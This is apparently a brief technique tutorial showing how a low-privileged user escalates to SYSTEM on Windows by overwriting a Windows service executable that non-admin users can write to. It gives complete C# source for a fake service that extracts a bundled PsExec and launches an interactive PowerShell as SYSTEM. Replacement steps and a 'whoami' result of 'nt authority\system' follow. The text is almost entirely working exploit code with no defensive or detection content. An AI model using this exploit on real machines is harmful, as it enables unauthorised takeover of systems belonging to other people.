If the executable of a Windows service is writable by non-admin users, you can replace it with another executable that will launch a command prompt in the system account.
FakeService.cs
|
public class FakeService : ServiceBase
{
protected override void OnStart(string[] args)
{
Thread.Sleep(10000); // wait 10s for the user to log and Windows to start
var psExecPath = ExtractPsExec(); // extract the PsExec.exe file
var powershellPath = @"C:\WINDOWS\System32\WindowsPowerShell\v1.0\powershell.exe";
// Windows services run in session 0 and user account runs in session 1.
// use sysinternals' PsExec to run cmd.exe in session 1.
Process.Start(psExecPath, $"-accepteula -d -i 1 {powershellPath}");
// stop the service after 1s
Thread.Sleep(1000);
new Thread(() => this.Stop()).Start();
}
private string ExtractPsExec()
{
var psExecPath = Path.Combine(Path.GetTempPath(), "PsExec64.exe"); // temp path: C:\Windows\Temp
if (!File.Exists(psExecPath))
File.WriteAllBytes(psExecPath, Resources.PsExec64);
return psExecPath;
}
}
|
Program.cs
|
class Program
{
static void Main(string[] args)
{
ServiceBase.Run(new ServiceBase[] { new FakeService() });
}
}
|
- Replace the executable of the Windows service by the compiled application.
- A command prompt will be launched when the Windows service starts.
|
whoami
REM nt authority\system
|